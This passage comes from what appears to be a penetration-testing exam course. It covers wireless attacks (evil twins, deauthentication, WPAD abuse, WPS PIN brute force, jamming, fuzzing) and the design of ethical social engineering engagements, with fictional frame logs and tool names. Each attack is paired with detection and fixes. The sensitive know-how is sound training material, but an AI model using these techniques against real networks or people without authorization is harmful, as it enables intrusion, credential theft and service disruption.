The cipher lists in frames 6 and 13 show two exam acronyms.[5] The server chose a suite using Elliptic Curve Diffie-Hellman (ECDH), and the client also offered suites with 3DES_EDE in the name. EDE means Encrypt-Decrypt-Encrypt, the three stages of Triple DES. The objectives' acronym list writes "Encrypt-Detect-Encrypt", a slip. NIST has withdrawn its Triple DES standard, so the cipher is no longer approved.[4]

A diagram of a laptop, an access point and an authentication server, with the EAP and RADIUS messages passing between them in order, ending in EAP-Success.
The enterprise Wi-Fi login exchange
Sami Virkkala - CC BY-SA 4.0 - Wikimedia Commons

Step 4: Decide what the evidence supports: a worked exhibit

Put the survey beside this fictional extract, as a performance-based question would.

ROE: scope is CB-Staff and CB-Guest at head office. Passive survey anywhere on site; active tests only on inventory devices; no disruptive techniques; suspected hostile devices go to the security manager within one hour. Inventory: CB-Staff on :11 and :12, WPA2 with 802.1X; CB-Guest on :21, open with a captive portal. Walk notes: :31 loudest by the print room, :A7 in the car park, :C4 on the wall facing the dental office.

BSSID endsEvidenceVerdict and action
:11, :12, :21On the inventory, settings matchExpected. Note the PMF flags; test certificate validation, the portal, and whether CB-Guest reaches CB-Staff
:31Client-sounding name, not in scope or inventoryProbably an unlisted Corvid Bay network. Passive only; raise the scope question
:A7Claims CB-Staff, unlisted, open where the real network uses 802.1X, loudest outsideSuspected evil twin. Do not connect. Locate it, keep the capture, escalate within the hour
:C4Another organization's name, weak, on the neighbor's sideNeighbor. Range is not scope, so stop
:D2Hidden six-character nameUnknown. Wait for a client to join; forcing one off is not approved. A limitation if unresolved

NIST names this pattern: rogue devices may use an authorized SSID without meeting security requirements, and one just outside the walls still matters because the organization's devices might associate with it. Why not connect, to be sure? NIST advises locating such devices rather than actively scanning them, since they may belong to a visitor or neighbor.[3] And if it is hostile, your traffic becomes part of what it collects.

What matters here: no single field convicts :A7. The evidence is the mismatch between what it claims and what the client's records say.

A second run: one changed input flips the verdict

Keep the address, the channel and the car park. Change one fact, the security it offers.

00:00:5E:00:53:A7  -41  11  WPA2  CCMP    MGT   CB-Staff

Now it matches the real network, so it is an unlisted AP or a careful twin with its own authentication server. Air evidence cannot separate those: Kismet's APSPOOF alert, which checks an SSID against valid MAC addresses, will not catch a twin that spoofs the address.[7] Wired-side checks can, so you ask the security manager to look.[3]

In this fictional run the switch shows it on a port in the new annex beside the car park, and facilities logged the install. The verdict flips from suspected attack to inventory gap, Low or Informational. Had the switch shown nothing, it would remain a suspected twin, and a more capable one.

Deauthentication: a forged goodbye

A deauthentication frame tells the other side the connection is over. Without management frame protection nothing authenticates it, so anyone in range can write the AP's address into the sender field. Kismet's documentation gives the two usual reasons: to deny service, and to disconnect clients so their rejoining handshake can be captured for an attack on WPA.[7]

Small numbers of these frames are normal.[7] Compare a real one, a client telling its AP it is leaving, with a fictional attack.[5]

Published capture, frame 1106: Deauthentication (0x000c), client to AP
    Reason code: Deauthenticated because sending STA is leaving (or has left) the BSS (0x0003)

Fictional attack: the AP's address, broadcast, same reason, forty a second
09:14:02.101  00:00:5E:00:53:11 to ff:ff:ff:ff:ff:ff  reason 7
09:14:02.126  00:00:5E:00:53:11 to ff:ff:ff:ff:ff:ff  reason 7

Defenders see threshold alerts on session terminations, and Kismet's DEAUTHFLOOD and BCASTDISCON.[4][7] The fix is PMF, from IEEE 802.11w: Mathy Vanhoef's review of the program notes that WPA3 mandates it and that it prevents these attacks, though Kismet's documentation says use is still uncommon.[17][7]

Now change one input: against a client that negotiated PMF the same forged frame is ignored, so you read the result from two beacon bits without sending anything. Required protects everyone who joins; capable alone leaves older clients exposed.

If a client's monitoring system has a containment feature, ask how it is set: that is what brought the FCC to Gaylord Opryland.[1]

Evil twin attacks: who can impersonate whom

An evil twin attack (ATT&CK T1557.004) puts up an AP using a legitimate SSID, sometimes with a stronger signal or with the real AP blocked, or answers probes for networks a client remembers.[12] The exam's pair: a rogue AP is any unauthorized AP, while a twin imitates a real one.

Network copiedWhat a twin can doWhat stops it
Open, or Enhanced OpenEverything: nothing proves identity. Enhanced Open (Opportunistic Wireless Encryption) uses a Diffie-Hellman exchange, which can run over elliptic curves, to encrypt the air without authenticating anyone.[14][17]Treat it as untrusted; train users about open networks and certificate errors.[12]
WPA2-Personal or WPA3-PersonalIt cannot finish the handshake without the key, because the handshake proves possession of the master key.[4] It can look open and ask for the passphrase on a page, or in WPA3 transition mode pose as WPA2-only and collect a partial handshake for offline guessing.[17]A long random passphrase; WPA3 only where clients allow
PEAP without server validationRun its own authentication server; a client that skips validation cannot tell it reached the wrong one, and runs its inner password exchange there.[15]Enforce validation; move to EAP-TLS, where the client refuses a server it cannot validate

Defenders look for a known SSID with stronger signal, unexpected BSSIDs or inconsistent encryption, and ATT&CK's mitigation is wireless intrusion prevention (WIPS).[12] Kismet adds CRYPTODROP, for a known AP advertising weaker security.[7] If the ROE approves a twin test at all, use the client's own test devices in a set window, and record which devices would join, not what they send.

WiFi-Pumpkin is the framework the exam names. The original repository is now called WiFi-Pumpkin-deprecated, is archived and points to wifipumpkin3, whose latest release is 1.1.7 (November 2023), with its last code push in January 2024; Kali packages it. It needs no account but does need an adapter with AP mode, and it combines an AP, a DNS server, plugins, proxies and a portal subtool called captiveflask.[13] The project has been quiet for nearly three years and its documentation is thin, so check its state first. Choose it over airbase-ng when a test needs those services together.

Captive portals and WPAD: what the first hop can do

Whoever runs a network controls a joining device's first page, name lookups and route.

A captive portal limits a device's access until its user meets a condition, such as accepting terms or giving credentials. A real portal must tell clients apart, and RFC 8952 says a good identifier should be hard to spoof.[14] One built on the MAC address rests on a value every client can read in frames and change.

A rogue portal sits on a twin: RFC 8952 warns that a user who trusts an attacking network might unwittingly give credentials to an attacking page.[14] This course contains no portal text or setup; if such a test is approved, count arrivals and never store what anyone types. ATT&CK's detection correlates portal redirects with the suspect AP.[12]

The fixes: no corporate credentials on portals, guests isolated from staff networks, and Enhanced Open in place of open networks.

Web Proxy Auto-Discovery (WPAD) is on the exam's tool list, but it is a protocol from a 1999 Internet-Draft that expired without becoming a standard. A host using it asks the local network where its proxy settings live:[14]

1. DHCP  option 252: where is the proxy configuration file?
2. DNS   look up wpad.branch.corvidbay.example
3. DNS   then wpad.corvidbay.example
4. Web   fetch /wpad.dat from the host that answered, and apply it

On a rogue AP the attacker answers, and the file can send the browser through their proxy: an on-path position with no exploit. CISA's 2016 alert said WPAD was on by default in Windows but off by default on macOS, Linux and other browsers, and that most laptops become exposed outside the office, including on public Wi-Fi.[16] Defenders see wpad queries and option 252 from an unexpected DHCP server. The fix is to disable it where unused, through the DisableWpad registry value and the Windows Settings switch.[15]

A plain sample web page headed Example Captive Portal, with username, password and access code boxes, terms and conditions, and a Connect button.
A generic example of a captive portal
AlexEng - CC BY-SA 4.0 - Wikimedia Commons

The WPS PIN: how 100,000,000 guesses become 11,000

Wi-Fi Protected Setup (WPS) lets a device join with a button or an eight-digit personal identification number (PIN). In December 2011 Stefan Viehböck published, and CERT/CC announced, a design flaw that collapses the PIN's keyspace.[10][11]

ReasoningArithmeticWorst case
Eight digits at face value108100,000,000 guesses
Replies split the PIN: an EAP-NACK after M4 says the first half is wrong, after M6 the second.[10]104 + 10420,000 guesses
The eighth digit is a checksum of the first seven, leaving three free digits in the second half.[10]104 + 10311,000 guesses
No lockout, at 1.3 seconds an attempt (Viehböck saw 0.5 to 3); half that on average.[10]11,000 x 1.3 s3.97 hours
Second run: a 60-minute lockout after 10 failures.[10]1,100 x 60 min + 3.97 h1,103.97 hours, about 46 days

A long passphrase does not help: CERT/CC says an attacker in range may retrieve the network's password, change the AP's settings or cause a denial of service.[11]

In a normal exchange, which the lab's capture shows, the client is the enrollee and the AP the registrar, trading messages M1 to M8.[5] The PIN attack uses the external registrar method, which swaps the roles: the outsider sends M4 and M6 and reads the replies.[10][11]

Defenders see many WPS negotiations, which Kismet's WPSBRUTE alert flags, naming the tool Reaver.[7] The fix is to disable WPS, including the external registrar or router PIN, and to confirm by rescanning for the WPS element in beacons.[11]

What matters here: the weakness is in the design, so eleven thousand stays eleven thousand whatever the passphrase. A beacon proves WPS is advertised, not that the PIN method works, so say which you observed.

The back of a home router with a small blue Wi-Fi Protected Setup push button between the Internet port and the power socket.
A WPS button on a home router
ArnoldReinhold - CC BY-SA 3.0 - Wikimedia Commons

Signal jamming: taught, reported, never performed

Signal jamming emits electromagnetic energy on a network's frequencies to make them unusable; NIST calls it a physical denial of service, and sensors can report it and estimate where it comes from.[4] It works because Wi-Fi radios listen first and wait while a channel is busy, and noise keeps it busy. Deauthentication leaves many decodable frames and has a protocol fix. Jamming leaves few or none and has no such fix: you find and remove the source. A Wi-Fi scanner cannot see a non-Wi-Fi source; that takes a spectrum analyzer.[8]

A software-defined radio (SDR), whose tuning and signal processing happen in software, can show a tester wide stretches of spectrum; transmitting from one falls under the same rules as any transmitter. Jamming hits everyone on those frequencies, and in the US it is off limits outside authorized federal use.[1] Your deliverable is on paper: which critical functions stop if the air goes quiet, and whether they have a wired fallback.

A black metal box with cooling fins, two fans and six rubber antennas, sold as a drone and phone jammer.
A multi-band jammer, illegal to operate in the US outside authorized federal use
Zmaj011 - CC BY-SA 4.0 - Wikimedia Commons
The green circuit board of a HackRF One software-defined radio, with gold antenna connectors at its corners and a USB port on one edge.
A software-defined radio board
wdwd - CC BY-SA 4.0 - Wikimedia Commons

Protocol fuzzing and packet crafting: when the frame itself is the test

Packet crafting builds one frame field by field to ask one question, using injection tools or Scapy (Lesson 22). The FragAttacks research of May 2021 shows why: Vanhoef found three design flaws, some present since Wi-Fi's 1997 release, plus widespread programming mistakes, and experiments indicated every product was affected by at least one.[17] Evidence is the frame you sent and the reply you got. The fix is the vendor's patch.

Protocol fuzzing sends thousands of malformed or random frames to find the parser that breaks. It works because drivers and firmware read frames from anyone in range before any login. Kismet's alerts record the history: SSIDs over 32 bytes that gave code execution on old Windows Broadcom drivers, and format-string SSIDs that crashed iPhones and macOS systems.[7] A fictional run's log:

Case  Field changed  Value                AP response
 411  SSID length    33 bytes (limit 32)  Ignored
 413  WPS fragment   zero length          Rebooted after 4 s (firmware 2.1.9)

Crashing things is the point, so fuzz only hardware you own or have written approval for, on an isolated bench. Report the input, firmware version and behavior, and route the bug to the vendor. Defenders see impossible values through alerts such as LONGSSID.[7] The fix is patched firmware.

The wireless attack family at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
WardrivingBeacons pass the wallsKismet with GPS, WiGLE.netNothing if passiveAssume names are public
Scans and enumerationEarly frames are readableInSSIDer, Kismet, airodump-ng, WiresharkNothing if passive; probes if activePMF; not hidden names
DeauthenticationUnprotected management framesaireplay-ngDisconnect bursts; DEAUTHFLOODPMF required; WPA3
Evil twinTrust in a name and strong signalWiFi-Pumpkin, airbase-ngKnown SSID, unknown BSSID; CRYPTODROPEAP-TLS or validated PEAP; WIPS
Captive portalTrust in the page; weak client IDcaptiveflaskRedirects on an unknown APNo corporate logins; isolate guests
WPADHosts trust whoever answersRogue AP services, Responderwpad queries; stray option 252DisableWpad and Settings switch
WPS PINSplit PIN, checksum, weak lockoutsReaver; airodump-ng to spot itWPSBRUTEDisable WPS
Signal jammingA shared mediumNone here: illegal to operateOutage, noise, no framesFind the source; wired fallback
Protocol fuzzingParsers read frames before loginScapy, custom tools, on a benchImpossible values; LONGSSIDPatch firmware and drivers
Packet craftingDevices accept bad framesScapy, FragAttacks toolFrame anomaliesVendor patches; PMF

Exam cues: which wireless term the stem wants

The stem saysIt points toDo not confuse it with
Known name from an unknown BSSIDEvil twinRogue AP: any unauthorized AP
Traveling an area, logging networks with GPSWardrivingSite survey: measuring your own coverage
Past networks at an address, before going on siteWiGLE.netKismet, which listens live, with GPS and alerts
Clients drop; a flood of frames bearing the AP's addressDeauthentication; PMFJamming, which leaves no such frames
Eight-digit PIN, 11,000 attemptsWPS PIN; disable WPSA dictionary attack on the passphrase
A proxy nobody configured; DHCP option 252WPADCaptive portal: a web page before access
Malformed frames until the device rebootsProtocol fuzzingPacket crafting: one deliberate frame
Stop a rogue server harvesting passwordsEAP-TLS; enforced server validationHidden SSIDs or PMF

How wireless findings are reported

Here is :A7 from Step 4.

  • Title: Unencrypted access point impersonating CB-Staff at head office (suspected evil twin).
  • Severity: High. A staff device that joined would send its traffic through an unknown operator's equipment. Not Critical, because no staff device was seen associating.
  • Evidence: Survey file and capture with date, time and adapter; BSSID 00:00:5E:00:53:A7, ESSID CB-Staff, ENC OPN, -41 dBm in the car park; absent from the inventory. No frames sent to the device, no connection attempted.
  • Root cause: Nothing alerts when a corporate SSID appears from an unknown BSSID, and monitoring does not reach the car park.
  • Remediation: Remove the device under the incident process. Add a monitoring rule for CB-Staff from unlisted BSSIDs. Enforce server certificate validation and move to EAP-TLS. Confirm with a repeat survey.

As starting judgments: WPS on a network reaching internal systems is High once the PIN method is confirmed, Medium until then. PMF not required is Medium or Low, labeled as inferred. A hidden SSID is Informational. A neighbor's network is not a finding. Write limitations down, such as "deauthentication not performed, per ROE". NIST says WLAN assessments should run at least annually.[4]

Common misconceptions

  • "A hidden SSID is a secure SSID." The name still crosses the air when a client joins.
  • "A signed ROE lets me jam my client's Wi-Fi." Not in the US, even on private property.
  • "A long passphrase defeats the WPS PIN attack." A correct PIN can reveal the passphrase.
  • "WPA3 ends evil twins." Transition mode can draw clients to a rogue WPA2-only network.

Where this leaves us

  • The SSID or ESSID is a name and the BSSID is one AP's MAC address, so one name with several BSSIDs is normal.
  • Passive scans transmit nothing, and wireless intrusion detection can spot only active ones.
  • SSID scanning asks which networks exist, channel scanning where (1, 6 and 11 at 2.4 GHz), and signal strength scanning how close: -30 dBm beside the AP, -70 reliable web use, 3 dB a doubling.
  • WiGLE.net needs an account under a non-commercial license; InSSIDer a free Oscium account; Kismet is the passive sniffer, wardriver and WIDS; WiFi-Pumpkin is archived in favor of wifipumpkin3.
  • Deauthentication works because management frames are unprotected; PMF is the fix and WPA3 mandates it.
  • Validated server certificates and EAP-TLS stop an evil twin; telling a twin from an unlisted AP takes wired-side evidence.
  • WPAD finds proxy settings through DHCP option 252 and wpad DNS names, so a rogue network can answer.
  • The WPS PIN falls to 104 + 103 = 11,000 guesses, 3.97 hours at 1.3 seconds each. Disable WPS.
  • Operating a jammer is illegal in the US even on private property.

Sources

  1. Federal Communications Commission, Enforcement Bureau. (2014). Marriott International order and consent decree (DA 14-1444), PDF; (2015). Wi-Fi blocking is prohibited (DA 15-113), PDF; (2012). Cell jammers, GPS jammers, and other jamming devices (DA 12-347), PDF
  2. Joffe v. Google, Inc., No. 11-17483 (9th Cir. amended Dec. 27, 2013). govinfo.gov
  3. Scarfone, K., et al. (2008). Technical guide to information security testing and assessment (NIST SP 800-115), section 4.4. PDF
  4. NIST: Scarfone and Mell (2007), Guide to intrusion detection and prevention systems, SP 800-94; Souppaya and Scarfone (2012), Guidelines for securing WLANs, SP 800-153; Frankel et al. (2007), Establishing wireless robust security networks, SP 800-97; Barker and Mouha (2017), Recommendation for the TDEA block cipher (withdrawn), SP 800-67 Rev. 2
  5. Wireshark Foundation. (n.d.). Sample captures, read 3 November 2026. wiki.wireshark.org
  6. WiGLE. (n.d.). FAQ (wigle.net/faq); (2018). Individual, non-commercial data license agreement, wigle.net
  7. Kismet Wireless. (n.d.). Kismet documentation (introduction), wardrive mode; alerts
  8. Oscium. (n.d.). inSSIDer Wi-Fi scanner; Why use Wi-Fi channels 1, 6, or 11?; Understanding RSSI (oscium.com/training).
  9. Aircrack-ng. (n.d.). Documentation; airodump-ng
  10. Viehböck, S. (2011). Brute forcing Wi-Fi Protected Setup. PDF
  11. CERT Coordination Center. (2011). VU#723755: WiFi Protected Setup (WPS) PIN brute force vulnerability. kb.cert.org
  12. MITRE. (2024). ATT&CK: Adversary-in-the-Middle: Evil Twin (T1557.004). attack.mitre.org
  13. P0cL4bs. (n.d.). WiFi-Pumpkin-deprecated; wifipumpkin3 and its documentation; Kali Linux. (n.d.). wifipumpkin3
  14. Internet Engineering Task Force: Harkins and Kumari (2017), RFC 8110; Larose et al. (2020), RFC 8952; Simon et al. (2008), RFC 5216; Preuß Mattsson and Sethi (2022), RFC 9190; Gauthier et al. (1999), Web Proxy Auto-Discovery Protocol (expired draft)
  15. Microsoft. (n.d.). EAP for network access; How to disable WPAD (Microsoft Learn)
  16. Cybersecurity and Infrastructure Security Agency. (2016). Alert TA16-144A: WPAD name collision vulnerability. cisa.gov
  17. Vanhoef, M. (2018). WPA3: A missed opportunity; (2019). Dragonblood; (2021). FragAttacks
Key terms
Service set identifier (SSID)
The name of a Wi-Fi network, up to 32 bytes. The ESSID is that name across all the access points in one network; the BSSID is the MAC address of one access point.
Wardriving
Moving through an area with a Wi-Fi scanner and GPS, logging what wireless networks announce and where; passive when it only listens.
WiGLE
A public catalog of user-submitted wireless network observations, used through a free account under an individual, non-commercial data license.
Wi-Fi deauthentication attack
Sending forged deauthentication frames so that a client disconnects, which works on networks without protected management frames.
Protected Management Frames (PMF)
The IEEE 802.11w protection that lets a device reject forged management frames such as deauthentication; WPA3 mandates it.
Evil twin attack
Running an access point that imitates a legitimate network's name so that clients join it, sometimes with a stronger signal or by answering probes for remembered networks.
Captive portal
A web page that holds a device on a limited network until its user meets a condition, such as accepting terms or giving credentials.
Web Proxy Auto-Discovery (WPAD)
A protocol from an expired 1999 draft that lets a host find its proxy settings through DHCP option 252 or wpad DNS names, so whoever runs the network can answer.
Wi-Fi Protected Setup (WPS)
A join method using a button or an eight-digit PIN, whose design flaw reduces PIN guessing to at most 11,000 attempts.
EAP-TLS
An enterprise Wi-Fi login method in which both sides prove themselves with certificates, so there is no password to steal.

The Human Attack Surface: Social Engineering Engagements

  • Weigh the research on phishing simulations by its sample sizes, methods and effect sizes, and say what a campaign's numbers can and cannot show.
  • Design an ethical, authorized engagement: authorization, HR and legal involvement, data kept, and treatment of the people tested.
  • Distinguish the exam's attack types and tools by purpose, what they record, what defenders see and what stops them.
  • Read email authentication results, explain why phishing-resistant MFA defeats a reverse proxy, and write a finding that names a control rather than a person.

Ten campaigns, 19,789 employees, and a 1.7-point gap

Over eight months of 2023, the security team at UC San Diego Health sent ten simulated phishing campaigns to 19,789 employees. They were randomly assigned either to a no-training control group or to one of four kinds of embedded training. Trained staff failed 1.7 percentage points less often than untrained staff. The choice of email mattered far more: one lure caught 1.8 percent of its recipients and another 30.8 percent (Ho et al., 2025).

Clients will ask you for phishing simulations and expect the numbers to prove something. This lesson gives both sides of the open question, whether simulations help at all, then uses that evidence to design an engagement you can defend. It contains no sample lures, call scripts or setup steps: the exam asks what these techniques and tools are for and what they leave behind.

Exam objectives: 4.8 (phishing, vishing, whaling, spearphishing, smishing, dumpster diving, surveillance, shoulder surfing, tailgating, eavesdropping, watering hole, impersonation, credential harvesting; Social Engineering Toolkit, Gophish, Evilginx, theHarvester, Maltego, Recon-ng, Browser Exploitation Framework).

The case that simulations work

The founding evidence is a 2009 experiment at Carnegie Mellon University. Ponnurangam Kumaraguru's team randomly assigned 515 university volunteers to a control group (172), one training message (172) or two (171). On day 28, 44.2 percent of the control group clicked a simulated spear-phishing link, against 23.8 and 25.6 percent of the trained groups, and training did not make people less willing to click legitimate links.

The scale comes from health care. William Gordon and colleagues pooled 2,971,945 simulated emails from 95 campaigns at six US institutions, 2011-2018; 14.2 percent were clicked. Against an institution's first five campaigns, the adjusted odds ratio for a click was 0.511 (95 percent confidence interval 0.382-0.685) at campaigns 6-10 and 0.335 (0.282-0.398) beyond ten. The authors say they did not adjust for campaign complexity.

Vendors report the steepest falls. KnowBe4's 2026 benchmark, from 42 million simulations across 14.8 million users at 64,000 organizations, gives 33.2 percent before training, 20.1 percent at 90 days and 4.2 percent at 12 months. Notice what Gordon and KnowBe4 share: neither describes an untrained group measured at the same time.

The case that they barely work

Randomized trials inside working organizations tell a smaller story. Deanna Caputo's 2014 study assigned 1,359 employees of a Washington, DC organization to a control group or one of four training pages, then sent three spear-phishing emails that a pilot had rated equally difficult. Training had no significant effect, and many people never read the page. The click rate still dropped from 60 to 34 percent between the first two emails, in every group alike, which the authors read as a difference in difficulty.

Daniele Lain's team at ETH Zurich ran the longest trial: 15 months, 14,733 employees of one company, 117,864 simulated emails, 5.67 percent clicked. Half saw a voluntary training page after failing, and that half clicked more: 3,593 clicks against 3,087, with 801 repeat clickers against 647. The authors suggest a false sense of security and stress that they did not test mandatory training. What did help: warning banners on emails (3,964 clicks with none, 1,427 with a short warning) and a report button, with about 10 percent of reports arriving within 5 minutes and 30-40 percent within 30.

Ho's team put the embedded-training effect at an odds ratio of 0.905 (95 percent CI 0.863-0.950): statistically real, and small. Annual awareness training showed no significant link with failing. Over half of training sessions ended within 10 seconds, about 24 percent were completed, and 56 percent of staff failed at least once in the eight months. People who completed interactive training were 19 percent less likely to fail later (OR 0.809), which may partly reflect who chooses to finish. It is one healthcare organization, as the authors say.

Lain's 2024 follow-up asks where any benefit comes from. It had 4,554 employees in nine groups, three simulated emails over six weeks and 25 interviews. It found that a plain warning message after a failure worked about as well as training content. Mandatory follow-up training did no better than none for the most susceptible staff, and rewards did not help. Its reading: the reminder does the work, and phishing is more an attention problem than a knowledge one.

Why the studies disagree, and what would settle it

StudyWho, how many, how longDesignUntrained group?Result
Kumaraguru 2009515 university volunteers, 28 daysRandomizedYesDay 28 clicks: 44.2% control, 23.8% and 25.6% trained
Gordon 20196 institutions, 2,971,945 emails, 2011-2018RetrospectiveNoOdds of a click fall with campaign count
KnowBe4 202614.8 million users, 64,000 organizationsVendor benchmarkNot mentioned33.2% to 4.2% in 12 months
Caputo 20141,359 employees, 3 trialsRandomizedYesNo significant training effect
Lain 202214,733 employees, 15 monthsRandomizedYesVoluntary training: no gain, more repeat clicks; warnings helped
Lain 20244,554 employees, 6 weeksRandomized, 9 groupsYesBenefit tracks the reminder, not the content or rewards
Ho 202519,789 employees, 8 monthsRandomized, confounders modeledYes1.7 points lower (OR 0.905)

Read the fourth column first. The steep falls come from designs with no untrained group; randomized workplace trials range from no effect to a small one. Kumaraguru is the randomized exception, among volunteers at 28 days. Three mechanisms explain most of the gap.

  • Lure difficulty. If the next template is easier, clicks fall with no learning at all. The NIST Phish Scale rates an email's detection difficulty (Least, Moderately or Very difficult) from its observable cues and how well its premise fits the audience, so a click rate has context.
  • Reach. Embedded training reaches only people who fail, a median of 10 percent per campaign in Ho's data.
  • Relative against absolute. "9.5 percent less likely" and "1.7 points lower" describe the same result in Ho's paper. Check which one you are being told.

What would settle it? A randomized trial across sectors, with lures matched for difficulty, a mandatory arm, follow-up past a year, and an outcome beyond simulated clicks: real compromises and time to report. None of the studies in the table counts real compromises. Meanwhile the UK's National Cyber Security Centre (NCSC) takes the practical view that no training package can teach people to spot every phish, so training is one layer among several.

Bottom line: the randomized evidence does not support promising a client that simulations plus training will make clicking rare. It does support using a simulation to measure the whole defense: filters, warnings, reporting and response.

Worked example: which sentence goes in the report?

Alder Valley Credit Union (fictional) has 1,200 staff, and all of them took a security course in June. You ran one authorized campaign in March and one in September. The client wants one sentence for the executive summary, based on your tool's event log.

CampaignPhish Scale ratingSentClick events loggedOf those, from the mail scannerReportedFirst report after
March, template AVery difficult1,200230629638 minutes
September, template BLeast difficult1,20098262169 minutes
  1. "Training cut phishing susceptibility by 57 percent."
  2. "Clicks fell from 19.2 to 8.2 percent after training."
  3. "Clicks fell from 14.0 to 6.0 percent, but the templates differ in difficulty and there is no untrained group, so the cause cannot be isolated."
  4. "Reports rose from 8 to 18 percent, so staff are now safe."

Step 1: clean the counts. Mail security products open links to inspect them, so events within seconds of delivery from the gateway's own addresses are not people. That leaves 230 - 62 = 168 people in March (14.0 percent) and 98 - 26 = 72 in September (6.0 percent). Sentence 2 used the raw events.

Step 2: compare like with like. Sentence 1's arithmetic is right, but template A is rated Very difficult and B Least difficult, and an easier email could produce that fall on its own.

Step 3: look for the comparison. Everyone took the course, so nothing shows what September would have looked like without it. Sentence 1 claims a cause you cannot show, and sentence 4 leaps from a rate to a state nobody can promise. Sentence 3 is the one you can defend.

Second run, one input changed. Suppose the client had agreed in advance to hold back 300 randomly chosen staff from the course.

September, template BSentPeople who clickedReported
Took the course90053 (5.9%)165 (18.3%)
Held back30019 (6.3%)51 (17.0%)

The answer moves from "cannot tell" to "no detectable effect". The gap is 0.4 points, and with these group sizes chance alone could produce about 3.2 points either way (1.96 times the square root of p1(1-p1)/n1 + p2(1-p2)/n2). Reports rose in both groups, so the course does not explain that either.

You write: "In September, staff who took the course clicked at about the same rate as staff who did not (5.9 and 6.3 percent; n = 900 and 300)."

A comparison group has to be planned before the training, so it belongs in the design. The number the client can act on is the 9 minutes: roughly how long a similar real campaign might run before the security team hears about it.

Designing an engagement you can defend

Testing a system or its people without the owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. A client's signature covers its systems and its staff's work accounts. It does not cover personal phones and mailboxes, someone else's website or a real brand's name.

DecisionSettle in writingWhy
Who signs, and consequencesAn executive sponsor, with HR and legal from the start; no discipline from results, stated in advanceNCSC warns that punishing people "for clicking on emails you've sent starts to resemble entrapment", and says to check with HR first. UC San Diego Health assured staff that results had no bearing on employment
ScopeNamed groups and work channels; personal phones only by explicit agreementThe client cannot authorize what it does not own
ThemesAn off-limits list: pay, health, layoffs, disastersIn December 2020 GoDaddy tested staff with a fake $650 holiday bonus, told roughly 500 who failed to retake training, then apologized for a topic it called misleading and insensitive
Data keptEvents, never secrets: that a form was submitted, not what was typedLain's partner company did not record entered credentials. Gophish stores any captured password in plaintext, so leave that option off
AccessGroup results by default; named data with a small team; a deletion dateGDPR Article 5 requires data minimization and storage limits. German works councils have co-determination rights over technical monitoring of staff (Works Constitution Act, section 87)
FiltersAllowlist the simulation or not, and say whichMicrosoft 365's advanced delivery policy makes filters ignore a named sender. That tests people only; without it you test filters and people
Calls and personasLegal approval before any recording or identityUS federal law allows recording with one party's consent (18 U.S.C. 2511(2)(d)); California Penal Code 632 requires all parties' consent for a confidential call. Posing as a federal officer and acting on it is a crime (18 U.S.C. 912)
DeconflictionA named trusted contact, how the security team recognizes the test, stop conditionsA real compromise goes to the escalation path at once (Lesson 4)
DebriefWhat staff are told, when and by whomLain's 2024 study debriefed everyone and offered an opt-out; Ho's site gave nothing beyond the training page

Do not humiliate anyone. Leaderboards, named lists to line managers and public failure notices attack the control you most want, because a person who fears blame does not report. NCSC asks organizations to avoid a punishment culture so that people come forward even after they have clicked.

Messages: phishing, spearphishing, whaling, smishing and vishing

The exam separates these by channel and by how narrowly the target is chosen. MITRE ATT&CK's T1566 defines phishing as electronically delivered social engineering, broad or targeted. Spear phishing, the exam's spearphishing, aims at a chosen person, company or industry, usually with details from the OSINT work in Lesson 6. Whaling is spearphishing aimed at senior executives, who can approve payments and are used to urgent requests. A broad campaign suits a baseline across many people; a spearphishing test answers "could someone reach this team?"

SMS phishing, the exam's smishing, arrives by Short Message Service (SMS) or Multimedia Messaging Service (MMS), and is T1660 in ATT&CK's mobile matrix. A phone shows little of a link and the message skips the mail gateway, so the header checks below never run. Test only on phones the client owns, or by explicit agreement.

Voice phishing, or vishing (T1566.004), uses a call. CISA's Scattered Spider advisory describes actors posing as IT staff by phone or SMS and, in its 2025 update, posing as employees to persuade help desks to reset passwords and move MFA to devices they controlled. So a vishing test often targets the help desk's process. Evidence is whether the agent verified the caller as the procedure requires. The fix is a step a caller cannot talk past, such as a callback to the number on file.

A Seoul police caution sticker headed Voice Phishing, fixed to a glass door in a shopping center, warning people about callers who pose as officials.
A police warning about voice phishing
H. Y. Shin 000 - CC0 - Wikimedia Commons

Watching, listening and the trash: the physical five

These feed the pretext, the cover story that makes a later contact believable. Lesson 13 teaches tailgating in depth. For each, scope says where you may stand, and your evidence never holds a live secret.

  • Dumpster diving recovers org charts, invoices and sticky notes from waste. Name the bins in your scope, because trash on private property is still on private property. Evidence is a photograph with the data redacted.
  • Surveillance observes a site's routines: entrances, badge designs, shift changes. Work from public places, watch the site and not individuals, and never follow anyone home. Evidence is timed notes and photographs that avoid faces.
  • Shoulder surfing reads a screen or keypad by watching. Report that a password or PIN was visible, and never write the value down.
  • Eavesdropping overhears talk in lobbies, elevators and smoking areas. Overhearing is one thing and recording is another, as the design table showed.
  • Tailgating follows an authorized person through a controlled door. Evidence is a timestamped note matched to the door log.
A US military operations security notice titled Dumpster Diving 101, telling staff that unwanted mail and sticky notes get thrown away and to shred all paper.
A defender's notice about dumpster diving
JTF-GTMO - Public domain - Wikimedia Commons

Watering holes, impersonation and credential harvesting

A watering hole attack compromises a website that a target community already visits, then waits. ATT&CK files it under Drive-by Compromise (T1189) and records Bad Rabbit ransomware spreading through JavaScript injected into popular sites. Testers rarely do this for real, because no client can authorize changes to another owner's site. The honest options are a page the client owns, with written approval, or a tabletop exercise.

Impersonation means posing as a trusted person or organization to persuade someone to act. ATT&CK moved it in 2026 from T1656 to T1684.001, under a new Social Engineering technique, so older material shows the old number. Choose personas with legal: no real named person without consent, and no government or police identity. The defense is out-of-band verification of unusual requests.

Credential harvesting collects logins, usually through a fake or proxied sign-in page. An ethical test proves that people would submit without keeping what they typed, so its evidence is a count. A password manager that will not autofill on the wrong domain is a good early warning, and phishing-resistant MFA removes most of the value.

Seven tools: what each is for, what it records, what stops it

Tool and statusPurpose in an authorized campaignWhat it recordsWhat defenders seeWhat stops it
theHarvester (active; 4.11.1, 2026)Find published addresses and hosts, to check the target list against scopeLists by source; docs class sources P0 (provider only), P1 (DNS), P2 (contacts the target)Nothing for P0; DNS or web requests for P1 and P2Less public exposure
Recon-ng (active)Modular web OSINT; its authors point elsewhere for social engineering itselfA workspace database with tables such as contacts and hostsDepends on the moduleAs above
Maltego (needs an account)Graph people, domains and infrastructure to see who connects to whatA graph of entities, grown by running transformsMostly queries to third partiesAs above
